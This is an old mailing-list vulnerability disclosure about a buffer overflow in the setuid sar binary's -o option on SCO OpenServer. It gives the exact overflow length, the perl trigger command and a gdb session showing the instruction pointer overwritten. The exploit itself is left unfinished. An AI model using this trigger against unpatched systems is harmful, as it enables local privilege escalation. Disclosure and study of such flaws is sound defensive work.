Sar -o exploitation process info.

[KF <dotslash () snosoft com>]

Caldera recently released an update for the suid sar binary. At one point in time someone pointed out that sar -f had an overflow (Brok Tellier or k2 probably I can't remember). The -f overflow was fixed but the -o option (which I have seen in private security advisorys floating around) also had an overflow but I don't think anyone ever told Caldera / SCO. I haven't gotten around to finishing up the exploit but here are the details for those of you that are interested. 

Sec focus bid: http://online.securityfocus.com/advisories/4089
Caldera fix: ftp://stage.caldera.com/pub/security/openserver/CSSA-2002-SCO.17

Exploit details:

Starting program: //home/kevin//./sar -o  `perl -e 'print "A" x 2104'`
//home/kevin//./sar: Cannot create file
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.l

Program exited with code 01.

Try again with one more char.

(gdb) r -o  `perl -e 'print "A" x 2105'`
Starting program: //home/kevin//./sar -o  `perl -e 'print "A" x 2105'`

Program received signal SIGSEGV, Segmentation fault.
0x80021c2d in getenv ()
(gdb) bt
#0  0x80021c2d in getenv ()
#1  0x8001f2da in _tz_info ()
#2  0x8004e5c2 in tzset ()
#3  0x8004e4ba in _localtime_r ()
#4  0x8001db5f in localtime ()
#5  0x804a124 in memset ()
#6  0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) frame 6
#6  0x41414141 in ?? ()
(gdb) i r
eax            0x8001db20       -2147362016
ecx            0x54     84
edx            0x804765c        134510172
ebx            0x0      0
esp            0x80463d4        0x80463d4
ebp            0x41414141       0x41414141
esi            0x804764c        134510156
edi            0x0      0
eip            0x41414141       0x41414141
ps             0x10206  66054
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x0      0


-KF